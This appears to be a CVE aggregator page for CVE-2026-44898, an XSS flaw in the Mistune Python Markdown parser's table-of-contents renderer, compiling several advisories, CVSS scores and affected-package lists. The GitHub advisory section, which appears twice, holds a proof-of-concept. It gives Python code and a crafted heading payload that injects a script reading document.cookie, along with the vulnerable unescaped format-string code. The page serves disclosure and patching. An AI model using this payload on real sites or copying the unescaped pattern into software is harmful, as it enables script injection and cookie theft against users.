Every CVE Search/ Get API key

CVE-2026-44898

Mistune TOC Anchor Injection XSS

6.1 MediumFix available

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.23%Up 0.2 points since May 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.1

Mistune TOC Anchor Injection XSS

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
CVE-2026-44898
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-31995 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
EUVD-2026-31995
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-6269-cqxg-mhhv 6.1

Mistune TOC Anchor Injection XSS

Summary

render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.

When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.

This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.

Details

File: src/mistune/toc.py

def render_toc_ul(toc):
    ...
    for level, k, text in toc:
        # k   = heading id  (used verbatim as href fragment)
        # text = heading text (used verbatim as link label)
        item = '<a href="#{}">{}</a>'.format(k, text)
        # Neither k nor text is passed through escape() at any point

The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.

PoC

Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

Output — clean, safe TOC:

<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>

Step 2 — Enable the vulnerable heading_id callback

Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:

def raw_id(token, index):
    return token.get("text", "")

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 — Craft the exploit payload

Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:

## x"><script>alert(document.cookie)</script><a href="

When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".

Step 4 — Observe script injection in the TOC output

ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))

render_toc_ul() formats the malicious ID directly into the <a href>:

'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'

Actual output:

<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;</a></li>
</ul>

The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.

Script

I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.

#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a…
Record
GHSA-6269-cqxg-mhhv
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
CVE-2026-44898
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 6.1

Mistune TOC Anchor Injection XSS

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
CVE-2026-44898
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVDEBIAN-CVE-2026-44898 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
DEBIAN-CVE-2026-44898
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
Show 8 moreShow less
OSVGHSA-6269-cqxg-mhhv 6.1

Mistune TOC Anchor Injection XSS

Summary

render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.

When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.

This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.

Details

File: src/mistune/toc.py

def render_toc_ul(toc):
    ...
    for level, k, text in toc:
        # k   = heading id  (used verbatim as href fragment)
        # text = heading text (used verbatim as link label)
        item = '<a href="#{}">{}</a>'.format(k, text)
        # Neither k nor text is passed through escape() at any point

The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.

PoC

Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

Output — clean, safe TOC:

<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>

Step 2 — Enable the vulnerable heading_id callback

Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:

def raw_id(token, index):
    return token.get("text", "")

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 — Craft the exploit payload

Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:

## x"><script>alert(document.cookie)</script><a href="

When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".

Step 4 — Observe script injection in the TOC output

ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))

render_toc_ul() formats the malicious ID directly into the <a href>:

'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'

Actual output:

<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;</a></li>
</ul>

The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.

Script

I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.

#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a…
Record
GHSA-6269-cqxg-mhhv
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVPYSEC-2026-2208 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
PYSEC-2026-2208
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-44898 6.1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
UBUNTU-CVE-2026-44898
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVAZL-88403 No score

CVE-2026-44898 affecting package python-mistune for versions less than 3.2.1-1

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.

Record
AZL-88403
Updated
2026-11-02
OSVMGASA-2026-0254 No score

Updated python-mistune package fixes security vulnerabilities

The updated python-mistune package fixes two security vulnerablities: Prior to 3.2.1, render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including

<script> blocks directly into the rendered TOC. (CVE-44898) Prior to 3.3.0, Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload. (CVE-2026-49851)

Record
MGASA-2026-0254
Updated
2026-11-02
OSVopenSUSE-SU-2026:20827-1 No score

Security update for python-mistune

This update for python-mistune fixes the following issues

  • CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
  • CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
  • CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
  • CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
  • CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
  • CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
  • CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).
Record
openSUSE-SU-2026:20827-1
Updated
2026-11-02
OSVSUSE-SU-2026:21858-1 No score

Security update for python-mistune

This update for python-mistune fixes the following issues

  • CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
  • CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
  • CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
  • CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
  • CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
  • CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
  • CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).
Record
SUSE-SU-2026:21858-1
Updated
2026-11-02
OSVSUSE-SU-2026:2949-1 No score

Security update for python-mistune

This update for python-mistune fixes the following issue

  • CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
Record
SUSE-SU-2026:2949-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
mistune
PyPI
3.2.0 to 3.2.0
3.2.1
python-mistune
Azure Linux:3
before 3.2.1-1
3.2.1-1
mistune
Debian:12
All versions, plus listed versions
2.0.4-12.0.4-23.0.2-13.0.2-23.1.3-13.1.4-13.3.4-1
None known
mistune
Debian:13
All versions, plus listed versions
3.1.3-13.1.4-13.3.4-1
None known
mistune
Debian:14
All versions, plus listed versions
3.1.3-13.1.4-13.3.4-1
None known
mistune
PyPI
3.2.0 up to 3.2.1
3.2.1
python-mistune
Mageia:10
From an advisory covering 2 CVEs
before 3.3.2-1.mga10
3.3.2-1.mga10
mistune
PyPI
before 3.2.1, plus listed versions
0.1.00.2.00.3.00.3.10.4
Show 45 moreShow less
0.4.10.50.5.10.60.70.7.10.7.20.7.30.7.40.80.8.10.8.20.8.30.8.42.0.02.0.0a12.0.0a22.0.0a32.0.0a42.0.0a52.0.0a62.0.0rc12.0.12.0.22.0.32.0.42.0.52.1.03.0.03.0.0a13.0.0a23.0.0a33.0.0rc13.0.0rc23.0.0rc33.0.0rc43.0.0rc53.0.13.0.23.1.03.1.13.1.23.1.33.1.43.2.0
3.2.1
python-mistune
SUSE:Linux Enterprise Module for Python 3 15 SP7
before 2.0.5-150400.11.8.1
2.0.5-150400.11.8.1
mistune
Ubuntu:16.04:LTS
All versions, plus listed versions
0.6-20.7.1-1
None known
Show 12 moreShow less
Affected packages
PackageAffectedFixed
mistune
Ubuntu:18.04:LTS
All versions, plus listed versions
0.7.4-10.8-10.8.1-10.8.3-2
None known
mistune
Ubuntu:20.04:LTS
All versions, plus listed versions
0.8.4-10.8.4-2
None known
mistune
Ubuntu:22.04:LTS
All versions, plus listed versions
0.8.4-40.8.4-52.0.0-1+really0.8.4-1
None known
mistune0
Ubuntu:22.04:LTS
All versions, plus listed versions
0.8.4-10.8.4-2
None known
mistune
Ubuntu:24.04:LTS
All versions, plus listed versions
2.0.4-23.0.2-1
None known
mistune0
Ubuntu:24.04:LTS
All versions, plus listed versions
0.8.4-2
None known
mistune
Ubuntu:25.10
All versions, plus listed versions
3.0.2-23.1.3-1
None known
mistune0
Ubuntu:25.10
All versions, plus listed versions
0.8.4-4
None known
mistune
Ubuntu:26.10
All versions, plus listed versions
3.1.4-1
None known
mistune0
Ubuntu:26.10
All versions, plus listed versions
0.8.4-6
None known
mistune
Ubuntu:26.04:LTS
All versions, plus listed versions
3.1.3-13.1.4-1
None known
mistune0
Ubuntu:26.04:LTS
All versions, plus listed versions
0.8.4-40.8.4-50.8.4-6
None known

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44898 is a medium vulnerability (CVSS 6.1) in Lepture Mistune, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in mistune 3.2.1.

References

Show 24 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open